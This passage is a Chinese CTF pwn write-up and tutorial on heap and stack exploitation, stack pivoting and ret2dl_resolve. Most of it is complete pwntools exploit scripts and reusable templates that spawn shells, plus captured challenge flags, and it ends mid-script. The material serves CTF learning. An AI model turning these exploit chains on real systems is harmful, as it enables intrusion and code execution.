payload += p32(pop_ebx_esi_edi_ebp_ret)
payload += p32(1)*4
payload += p32(write_addr)
payload += p32(main_addr)
payload += p32(1)
payload += p32(free_hook_addr)
payload += p32(0x30)
sl(payload)

p.interactive()

#flag{20baa3d800326274c965041777012d12}

五、pwn1

脑瘫原题 ciscn 2018 supermarket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# -*- coding:UTF-8 -*-

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'i386'
SigreturnFrame(kernel = 'i386')

binary = "./task_supermarket"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2



local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
else:
p = remote("182.116.62.85","27518")
elf = ELF(binary)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = 'your choice>>'

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.close()
pause()

def add(index, size, content):
sla(menu, '1')
sla('name:', str(index))
sla('price:', '10')
sla('descrip_size:', str(size))
sla('description:', content)


def delete(index):
sla(menu, '2')
sla('name:', str(index))


def list():
sla(menu, '3')


def edit(index, size, content):
sla(menu, '5')
sla('name:', str(index))
sla('descrip_size:', str(size))
sla('description:',content)


atoi_got = elf.got['atoi']


add(0, 0x80, 'PIG007NB' * 2)
add(1, 0x20, 'PIG007NB' * 2)
edit(0, 0x90, '')
add(2, 0x20, 'PIG007NB' * 2)
payload = ""
#payload += '2'.ljust(16,'\x00')
payload += p64(0x32)
payload += p64(0x0)
#--------------------------
payload += p32(20)
payload += p32(0x20)
payload += p32(atoi_got)

edit(0, 0x80, payload)
list()
ru('2: price.20, des.')

atoi_addr = u32(rc(4).ljust(4,'\x00'))
obj = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - obj.dump('atoi')
system_addr = libc_base + obj.dump('system')
edit(2, 0x20, p32(system_addr))
sla(menu, '/bin/sh')

p.interactive()
#flag{03b1baaab2a949db11f8b1c02a4f7ab6}

栈溢出总结

前言

总结复习一下各种各样的栈溢出。

一、栈迁移

美团2021-12 babyrop

1.题目简介

image-20211212144541080

  • 溢出16个字节,可覆盖rbp和返回地址

  • 存在puts等打印函数

  • 无好用gadget,只有最常见的csu

  • 存在canary,可用数据长度为0x18

  • 关键函数:

    image-20211212145246326

2.利用方式

由于没办法写GOT,考虑栈迁移之后调用puts函数泄露地址,然后进行one_gadget

(1)迁移数据

所以直接迁移到extern段之后的数据段

(2)调试调用

①栈劫持

1
2
3
4
5
6
payload = ""
payload += 'PIG007NB'*(0x18/0x8)

payload += p64(canary)
payload += p64(new_stack)
payload += p64(0x40072E)

初次栈溢出leave_ret之后劫持rbp,再进入vuln函数,借助修改之后的rbp向新栈读入数据

1
2
3
4
5
6
7
#读入数据之后溢出
payload = ""
payload += 'PIG007NB'*(0x18/0x8)

payload += p64(canary)
payload += p64(new_stack+0x28)
payload += p64(0x40072E)

image-20211212145349774

再次栈溢出修改rbp向新栈读入数据,同时通过leave_ret劫持rsp

image-20211212145552478

image-20211212150141800

同时需要注意的是,劫持rsp之后,再调用read函数时,其返回地址也会随之改变,所以我们需要劫持read函数的返回地址,通过修改的rbp即可在read函数的返回地址上读入ROP链条

▲leave-ret

相当于如下命令

1
2
3
mov     rsp rbp
pop rbp
pop rip
▲call

相当于如下

1
2
push 		rip
jmp func_addr

②读入ROP链

向read函数的返回地址读入ROP链条,这个rbp是经过计算的,由于之前的rsp通过leave-ret变为了new_stack+0x10,所以在调用call read时,压入返回地址,导致rsp变为new_stack+0x08,而返回地址也就是保存在new_stack+0x08处,所以我们需要修改新的rbp为new_stack+0x28,才能在vuln函数中向new_stack+0x08读入ROP链条从而劫持read函数的返回地址。

image-20211212151538794

③劫持vuln函数返回地址

这样在之后调用完puts函数之后就可以再返回到vuln函数中,新建一个函数栈来劫持该函数的返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = ""
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(0x400717)

#dbg()
sd(payload)

libc_base = u64Leakbase(libc.sym['puts'])
one_gadget = libc_base + 0x10a41c
lg("libc_base",libc_base)

payload = 'PIG007NB'*(0x18/0x8)
payload += p64(canary)
payload += 'PIG007NB'
payload += p64(one_gadget)

同样由于rbp和rsp没有改变,所以也可以通过再返回到0x40072e来劫持read函数的返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload = ""
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(0x40072e)

#dbg()
sd(payload)

libc_base = u64Leakbase(libc.sym['puts'])
one_gadget = libc_base + 0x10a41c
lg("libc_base",libc_base)

payload = 'PIG007NB'*(0x18/0x8)
payload += p64(one_gadget)

3.总结

栈迁移的方法多种多样,需要注意的就是两个命令leave-retcall,这两个命令对栈的影响是最大的,自己比赛的时候基本都忘光了,调试了好久,同时要记住调用函数时,如果rsp被劫持了,那么其返回地址也会被劫持。

二、Ret2dl_resolve

之前做过总结,但是还是有点皮毛,这回深入总结一下,具体原理就先不说了,主要说下注意的几点事项。

1.No RELRO模式

见题目HITCTF slient

  • 可任意修改四个字节
  • 溢出长度不太够
  • 无法泄露地址
  • 无PIE

这种模式可用劫持.dynstr,也就是需要改写DT_STRTAB上的指针,使其指向fake_dynstr。在32位和64位下都是通用的。

(1)寻找.dynstr指针

1
readelf -S pwn

image-20211119171711269

找到如上图的.dynamic,其地址为0x600988,在IDA中查看。

image-20211119171809731

上图的DT_STRTAB即为所寻找的地址,其内容为

image-20211119171935731

蓝色代表偏移,红色代表需要动态加载时寻址的函数字符串的地址,之后查看对应的字符串内容。

image-20211119172058537

需要修改为如下

image-20211212165434233

我们需要做的就是劫持这个DT_STRTAB中的字符串指针。但是劫持这个指针需要满足为NO RELRO的保护级别才行,不能开启RELRO

(2)劫持指针

这里一般只能通过使用任意写来修改,或者可以借助read函数栈迁移修改rbp来劫持,将该指针修改为我们写入的system_str的地址减去0x11处,一般都是这样的,重载read函数为system函数,因为read函数一般都会有。

(3)重载函数

查找重载的plt进行调用即可,在IDA中ctrl+s即可

image-20211212165518078

1
2
3
4
5
6
7
8
9
10
11
12
13
14
strtab_addr = 0x600A08
command_addr = 0x600C00
system_str_addr = command_addr + 8

#ret2dlresolve
pop_rdi_ret = 0x4007d3
plt0 = 0x4004E0
#command_addr即binsh_addr
payload = "a"*0x38 + p64(pop_rdi_ret) + p64(command_addr) + p64(plt0) + \
p64(0)
#dbg()
p.sendline(payload)
#pause()
p.interactive()

2.Partial RELRO模式

这种模式有好几个区分度

(1)原生态的32位

即在32位架构机器上编译的32位程序,直接借助工具一把梭哈即可,详见SecconCTF2021-kasu_bof

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

def start():
global p
if args.REMOTE:
p = process("./chall")
#p = remote('hiyoko.quals.seccon.jp', 9001)
else:
p = elf.process()

context.binary = elf = ELF("./chall")
libc = elf.libc

dl_resolve = Ret2dlresolvePayload(elf, "system", ["/bin/sh"])

r = ROP(elf)
r.gets(dl_resolve.data_addr)
r.ret2dlresolve(dl_resolve)

start()

off_eip = 0x88
p.sendline(b'A'*(off_eip) + r.chain())
sleep(1)
p.sendline(dl_resolve.payload)
p.interactive()
p.close()

如果换成了read函数,直接更改为r.read(0,dl_resolve.data_addr,0x400)即可

读取之后返回到plt0,之后劫持栈上数据

image-20211216141615732

通过fake_Elf32_Rel_addr来获取到fake_Elf32_Sym_addr进行重载,在之后的_dl_fixup函数中重载相关函数。

image-20211216141922860

进入system函数

image-20211216142029092

即可调用system(‘/bin/sh’)

image-20211216142052187

(2)64位机器编译的32位程序

  • 溢出长度足够
  • 存在可以输入数据的bss段

这种情况一般需要一个我们能够将数据输入到bss段的功能,从而能够直接劫持栈。原因就是在这种情况下同一段代码编译之后会出现不同的效果,代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <unistd.h>
#include <string.h>

char buf[0x500];

int main(void)
{
char dest[0x10];
//gets(buf);
int n = read(0,buf,0x500);
memcpy(dest,buf,0x500);
return 0;
}

①原生态32位效果

这个环境中

image-20211213105819379

②64位机器编译32位程序效果

image-20211213110012402

相比较原先的原生态,会多出来一些汇编代码,比较明显的就是lea esp, [ecx-4],这个详见Migraine殇师傅的文章

在PWN题中绕过lea esp以及关于Ret2dl的一些补充 - 安全客,安全资讯平台 (anquanke.com)

有的时候也会编译出如下代码

image-20211213205819971

这时候就需要我们灵活变通,通过修改栈上的数据,进而控制ecx,再控制esp,这样就可以直接栈迁移,从而在我们存放数据的地方进行ROP。

③通过ecx劫持esp

即如下先劫持栈到存放数据的bss段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dl_resolve = Ret2dlresolvePayload(elf, "system", ["/bin/sh"])
r = ROP(elf)
#r.read(0,dl_resolve.data_addr,0x400)
r.gets(dl_resolve.data_addr)
r.ret2dlresolve(dl_resolve)

stack_space = 0x280
offset_ebp = 0x28
buf_addr = 0x0804A040
ROP_chain_addr = buf_addr + stack_space

payload = ''
payload += "A"*(offset_ebp - 0x10)
#pop ecx的时候esp指向该地址,将该地址赋给ecx,从而通过lea esp,[ecx-4]劫持esp
payload += p32(ROP_chain_addr + 0x4)
payload = payload.ljust(stack_space,'\x00')
payload += r.chain()

这样就能通过ecx控制esp,从而跳转到我们位于bss段上的ROP链

image-20211213215116117

之后就是类似的了。

image-20211216142835635

找到system函数

image-20211216142921537

调用对应system(‘/bin/sh’)

image-20211216143224584

🔺注

但是这里就会有点不太好,就是如果劫持之后的esp就在buf首地址附近,那么在之后的重定向过程中,会调用一系列函数,那么在生成函数栈空间的时候栈顶就会一直向上移动,从而覆盖到不能覆盖的地方,导致出错

image-20211213214635928

可以看到该地址已经在存放重定向表的LOAD段了。

image-20211213214833969

所以我们之前就设置了存放ROP链的数据在bss段首地址大约0x280的地方,这样基本就不会覆盖了,其实最好能够再长就再长一些,也不会有什么坏处。

1
2
3
stack_space = 0x280
buf_addr = 0x0804A040
ROP_chain_addr = buf_addr + stack_space

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# -*- coding:UTF-8 -*-
from pwn import *
p = process("./ret2dl_re32_gets")
elf = context.binary = ELF("./ret2dl_re32_gets")
plt0_addr = elf.get_section_by_name(".plt")["sh_addr"]

dynstr_addr, dynsym_addr, relplt_addr = map(elf.dynamic_value_by_tag,
["DT_STRTAB", "DT_SYMTAB", "DT_JMPREL"])
print("plt0:", hex(plt0_addr))
print(".dynstr:", hex(dynstr_addr))
print(".dynsym:", hex(dynsym_addr))
print(".rel.plt:", hex(relplt_addr))

def dbg():
global p
gdb.attach(p)
pause()

def gdb_a(addr):
gdb.attach(p, "b *{0} \n c".format(addr))
sleep(0.5)


dl_resolve = Ret2dlresolvePayload(elf, "system", ["/bin/sh"])
r = ROP(elf)
#r.read(0,dl_resolve.data_addr,0x400)
r.gets(dl_resolve.data_addr)
r.ret2dlresolve(dl_resolve)


# .text:0804846E lea esp, [ebp-10h]
# .text:08048471 pop ecx
# .text:08048472 pop ebx
# .text:08048473 pop esi
# .text:08048474 pop edi
# .text:08048475 pop ebp
# .text:08048476 lea esp, [ecx-4]
# .text:08048479 retn
#由于会劫持esp到buf处,所以最好留出大约0x280或以上的空间来为重定向的一系列函数
#留出栈空间,不然就可能会使得esp放到buf段上面,覆盖到不能覆盖的地方
stack_space = 0x280
offset_ebp = 0x28
buf_addr = 0x0804A040
ROP_chain_addr = buf_addr + stack_space

payload = ''
payload += "A"*(offset_ebp - 0x10)
#pop ecx的时候esp指向该地址,将该地址赋给ecx,从而通过lea esp,[ecx-4]劫持esp
payload += p32(ROP_chain_addr + 0x4)
payload = payload.ljust(stack_space,'\x00')
payload += r.chain()

gdb_a(0x08048464)
p.sendline(payload)
pause()
sleep(1)
p.sendline(dl_resolve.payload)
p.interactive()

(3)原生态64位

这个就比较正常了,一般是两种模式

①有read和泄露函数

这个就是最正常的ret2dl_resolve,直接拿模板打即可,参照bsauce师傅的模板

不过这个read换成gets好像不太好使,也可能是没设置好,回头试试

32位/64位dlresolve最全总结(不用泄露地址-执行one_gadget) - 先知社区 (aliyun.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#!/usr/bin/python
#coding:utf-8
from pwn import *

#需修改:文件名、溢出偏移、leave_ret地址
fpath = './myRet2dl_puts'
elf = ELF(fpath)
p = process(fpath)

offset_rbp = 0x80
#读取长度
length = 0x400
stack_size = 0x800
#main函数中找
leave_ret=0x40066A


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


def gdb_a(addr):
gdb.attach(p, "b *{0} \n c".format(addr))
sleep(0.5)

def makecall(addr, rdi,rsi,rdx,tail = 0):
payload = ''
payload += p64(p6_addr)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(addr)
payload += p64(rdi)
payload += p64(rsi)
payload += p64(rdx)
payload += p64(call_addr)
if (tail):
payload += p64(0x0) * 7 + p64(tail)
return payload


main_addr=elf.sym['main']
p6_addr=elf.sym['__libc_csu_init'] + 0x5a
call_addr=elf.sym['__libc_csu_init'] + 0x40
p_rdi_ret=elf.sym['__libc_csu_init'] + 0x63
p_rbp_ret=elf.sym['register_tm_clones'] + 0x38

cmd = "/bin/sh"
plt_0 = elf.get_section_by_name(".plt")["sh_addr"]
dynstr, dynsym, rel_plt = map(elf.dynamic_value_by_tag,
["DT_STRTAB", "DT_SYMTAB", "DT_JMPREL"])

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
# write_got = elf.got['write']
# write_plt = elf.plt['write']
read_got=elf.got['read']
read_plt = elf.plt['read']
got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8 #0x601008
bss_addr =elf.get_section_by_name('.bss').header.sh_addr
base_stage = bss_addr + stack_size
#print 'got_8=',hex(got_8)

lg("main_addr",main_addr)
lg("p6_addr",p6_addr)
lg("p_rdi_ret",p_rdi_ret)
lg("p_rbp_ret",p_rbp_ret)
lg("plt_0",plt_0)
lg("dynstr",dynstr)
lg("dynsym",dynsym)
lg("rel_plt",rel_plt)
lg("puts_got",puts_got)
lg("puts_plt",puts_plt)
# lg("write_got",write_got)
# lg("write_plt",write_plt)
lg("read_got",read_got)
lg("read_plt",read_plt)
lg("got_8",got_8)
lg("bss_addr",bss_addr)
lg("base_stage",base_stage)

#p.recvuntil("Welcome!\n") # 'Welcome to XDCTF2015~!\n'
#1.泄露&link_map地址
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(puts_got,got_8,0,0,tail=main_addr)
#payload+=makecall(write_got,1,got_8,8,tail=main_addr)
#这length看具体情况,没啥用
payload=payload.ljust(length,'\x00')
#gdb_a(0x400674)
p.send(payload)
#p.send(payload)
#p.interactive()
#pause()
link_map = u64Leakbase(0)
#pause()
print 'link_map=',hex(link_map)

#2.往link_map+0x1c8写0
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(read_got,0,link_map+0x1c8,8,tail=main_addr)
#这length看具体情况,没啥用
payload=payload.ljust(length,'\x00')
p.send(payload)
p.send(p64(0))

#3.往base_stage写入伪造结构并跳过去
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(read_got,0,base_stage,0xd0,tail=0) #假设结构大小是400
payload+=p64(0)*2+p64(base_stage)+p64(0)*4
payload+=p64(leave_ret)
#这length看具体情况,没啥用
payload=payload.ljust(length,'\x00')
p.send(payload)


#4.bss数据:rop-参数放在寄存器/ 伪造结构
#(1)确定各个节的地址

#(2)确定重定位下标
index_offset = base_stage + 7*8
align = 24 - ((index_offset-rel_plt) % 24) # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小
index_offset = index_offset + align
index = (index_offset - rel_plt) / 24 # base_stage + 7*8 指向fake_reloc,减去rel_plt即偏移
#(3)确定动态链接符号下标
fake_sym_addr = base_stage + 13*8
align = 24 - ((fake_sym_addr - dynsym) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 24 # 除以24因为Elf64_Sym结构体的大小为24,得到write的dynsym索引号
#(4)伪造重定位结构+动态链接结构
r_info = (index_dynsym << 32) | 0x7
fake_reloc = p64(puts_got) + p64(r_info) + p64(0)
#fake_reloc = p64(write_got) + p64(r_info) + p64(0)
st_name = (fake_sym_addr + 24) - dynstr #fake_sym(Elf32_Sym结构体)大小0x10
fake_sym = p32(st_name) + p32(0x12) + p64(0) + p64(0)

payload2 = 'AAAAAAAA'
payload2 += p64(p_rdi_ret)
payload2 += p64(base_stage+0xc0) #/bin/sh
payload2 += p64(plt_0)
payload2 += p64(index) #jmprel 下标参数
payload2 += 'AAAAAAAA' #返回地址
payload2 += 'aaaaaaaa'

payload2 = payload2.ljust(index_offset-base_stage,'B')
payload2 += fake_reloc # index_offset(base_stage+7*8)的位置
payload2 = payload2.ljust(fake_sym_addr-base_stage,'B')
payload2 += fake_sym # fake_sym_addr(base_stage+9*8)的位置

payload2 += "system\x00"
payload2 = payload2.ljust(0xc0,'\x00')
payload2 += cmd + '\x00'
payload2 = payload2.ljust(0xd0,'\x00')
#gdb.attach(p,'b *0x4006ab')
raw_input('wait!!\n')
p.send(payload2)
p.interactive()

如果是puts函数则直接对应修修补补即可

②只有read和libc文件

这个最开始的题目好像是0CTF的题目blackhole2,这种情况也可以对应拿模板打,原理就是调用libc中的one_gadget来getshell。这个模板也是参照bsauce师傅的模板。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/python
#coding:utf-8
from pwn import *

#需修改:文件名、溢出偏移、gadget地址、各节地址
fpath = './bstack'
elf = ELF(fpath)
libc = elf.libc
#libc = ELF('./libc.so.6')
p = process(fpath)


offset_rbp = 0x70
length = 0x100
stack_size = 0x800
leave_ret=0x00000000004006AB
#one_gadget工具来找
one_gadget = 0x4f432
vuln_addr=0x400676


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def gdb_a(addr):
gdb.attach(p, "b *{0} \n c".format(addr))
sleep(0.5)


def makecall(addr, rdi, rsi, rdx, tail = 0):
payload = ''
payload += p64(p6_addr)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(addr)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(rdi)
payload += p64(call_addr)
if (tail):
payload += p64(0x0) * 7 + p64(tail)
return payload



plt_0 = elf.get_section_by_name(".plt")["sh_addr"]
p6_addr=elf.sym['__libc_csu_init'] + 0x5a
call_addr=elf.sym['__libc_csu_init'] + 0x40
p_rdi_ret=elf.sym['__libc_csu_init'] + 0x63
p_rbp_ret=elf.sym['register_tm_clones'] + 0x38
read_got=elf.got['read']
read_plt = elf.plt['read']
got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8 #0x601008
bss_addr =elf.get_section_by_name('.bss').header.sh_addr
libc_bss_addr = libc.get_section_by_name('.bss').header.sh_addr
base_stage = bss_addr + stack_size
libc_start_main_addr = libc.sym['__libc_start_main']
fake_link_map=elf.got['__libc_start_main'] #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
fake_st_value=one_gadget-libc_start_main_addr #0x4526a 0xf02a4 0xf1147
fake_r_offset=libc_bss_addr-libc_start_main_addr
# fake_st_value=0x4526a-0x20740 #0x4526a 0xf02a4 0xf1147
# fake_r_offset=0x3c5720-0x20740

val_0x68=base_stage+0xc0-8 #0x600ea8
val_0x70=base_stage+0xc0-8 #0x600eb8
val_0xf8=base_stage+0xc0-8 #0x600f28
wait_time=0.1

#print p.recv() # 'Welcome to XDCTF2015~!\n'

#1.往fake_link_map+0x68写值
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(read_got,0,fake_link_map+0x68,16,tail=vuln_addr)
payload=payload.ljust(0x100,'\x00')
#gdb_a(0x4006AA)
p.send(payload)
#pause()
sleep(wait_time)
p.send(p64(val_0x68)+p64(val_0x70))

#2.往fake_link_map+0xf8写值
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(read_got,0,fake_link_map+0xf8,8,tail=vuln_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
sleep(wait_time)
p.send(p64(val_0xf8))

#3.往base_stage写入伪造结构并跳过去
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(read_got,0,base_stage,0xd0,tail=0) #假设结构大小是400
payload+=p64(0)*2+p64(base_stage)+p64(0)*4
payload+=p64(leave_ret)
payload=payload.ljust(0x100,'\x00')
p.send(payload)


#4.bss数据:rop-参数放在寄存器/ 伪造结构
#(1)确定各个节的地址
plt_1 = plt_0+6
#(2)确定重定位下标
align = 24 - (56 % 24) # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小
index_offset = base_stage + 7*8 + align
index = (7*8 + align) / 24 # base_stage + 7*8 指向fake_reloc,减去rel_plt即偏移
#(3)确定动态链接符号下标
align = 24 - ((13*8) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小
fake_sym_addr = base_stage + 13*8 + align
index_dynsym = (13*8 + align) / 24 # 除以24因为Elf64_Sym结构体的大小为24,得到write的dynsym索引号
#(4)伪造重定位结构+动态链接结构
r_info = (index_dynsym << 32) | 0x7
fake_reloc = p64(fake_r_offset) + p64(r_info) + p64(0)
fake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)

payload2 = p64(0)#'AAAAAAAA'
payload2 += p64(p_rdi_ret)
payload2 += p64(base_stage+0xc0) #/bin/sh
payload2 += p64(plt_1)
payload2 += p64(fake_link_map) #
payload2 += p64(index) #jmprel 下标参数
payload2 += p64(0) #返回地址

payload2 = payload2.ljust(index_offset-base_stage,'\x00')
payload2 += fake_reloc # index_offset(base_stage+7*8)的位置
payload2 = payload2.ljust(fake_sym_addr-base_stage,'\x00')
payload2 += fake_sym # fake_sym_addr(base_stage+9*8)的位置
payload2 = payload2.ljust(0xc0,'\x00')
payload2 += p64(base_stage)
payload2 = payload2.ljust(0xd0,'\x00')

p.send(payload2)
sleep(wait_time)
p.interactive()

③只有read时

这种情况一般需要爆破libc文件,但是需要一个库,所以还得自己准备一个比较完整的libc文件库,这里自己写了一个工具,专门用来依据libc文件库爆破,直接给出代码,这个等我啥时候有时间详细完成一下这个工具。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
#coding:utf-8
from pwn import *
import myTool

#需修改:文件名、溢出偏移、gadget地址、各节地址
global p
fpath = './bstack'

offset_rbp = 0x70
length = 0x100
stack_size = 0x800
leave_ret=0x00000000004006AB
vuln_addr=0x400676


#p = process(fpath)
#arch = "x86-64"/"i386"
libc_list = myTool.getLibc("x86-64",version="2.27")
libcAll_path = '/home/hacker/LibcSearcher/libc-database/libcAllSo/'
elf = ELF(fpath)


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def gdb_a(addr):
gdb.attach(p, "b *{0} \n c".format(addr))
sleep(0.5)


def makecall(p6_addr,call_addr,addr, rdi, rsi, rdx, tail = 0):
payload = ''
payload += p64(p6_addr)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(addr)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(rdi)
payload += p64(call_addr)
if (tail):
payload += p64(0x0) * 7 + p64(tail)
return payload


#cat flag
def regexp_out(data):
patterns = [
re.compile(r'flag{.*?}'),
re.compile(r'xnuca{(.*?)}'),
re.compile(r'DASCTF{(.*?)}'),
re.compile(r'WMCTF{.*?}'),
re.compile(r'[0-9a-zA-Z]{8}-[0-9a-zA-Z]{3}-[0-9a-zA-Z]{5}'),
]
for pattern in patterns:
res = pattern.findall(data.decode() if isinstance(data, bytes) else data)
if len(res) > 0:
return str(res[0])
return None


def pwn(libcFile,one_gadget):
#libc = ELF("./libc.so.6",checksec = False)
#one_gadget = 0x4f432

libc = ELF(libcFile,checksec = False)

plt_0 = elf.get_section_by_name(".plt")["sh_addr"]
p6_addr=elf.sym['__libc_csu_init'] + 0x5a
call_addr=elf.sym['__libc_csu_init'] + 0x40
p_rdi_ret=elf.sym['__libc_csu_init'] + 0x63
p_rbp_ret=elf.sym['register_tm_clones'] + 0x38
read_got=elf.got['read']
read_plt = elf.plt['read']
got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8 #0x601008
bss_addr =elf.get_section_by_name('.bss').header.sh_addr
libc_bss_addr = libc.get_section_by_name('.bss').header.sh_addr
base_stage = bss_addr + stack_size
libc_start_main_addr = libc.sym['__libc_start_main']
fake_link_map=elf.got['__libc_start_main'] #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
fake_st_value=one_gadget-libc_start_main_addr #0x4526a 0xf02a4 0xf1147
fake_r_offset=libc_bss_addr-libc_start_main_addr
# fake_st_value=0x4526a-0x20740 #0x4526a 0xf02a4 0xf1147
# fake_r_offset=0x3c5720-0x20740

val_0x68=base_stage+0xc0-8 #0x600ea8
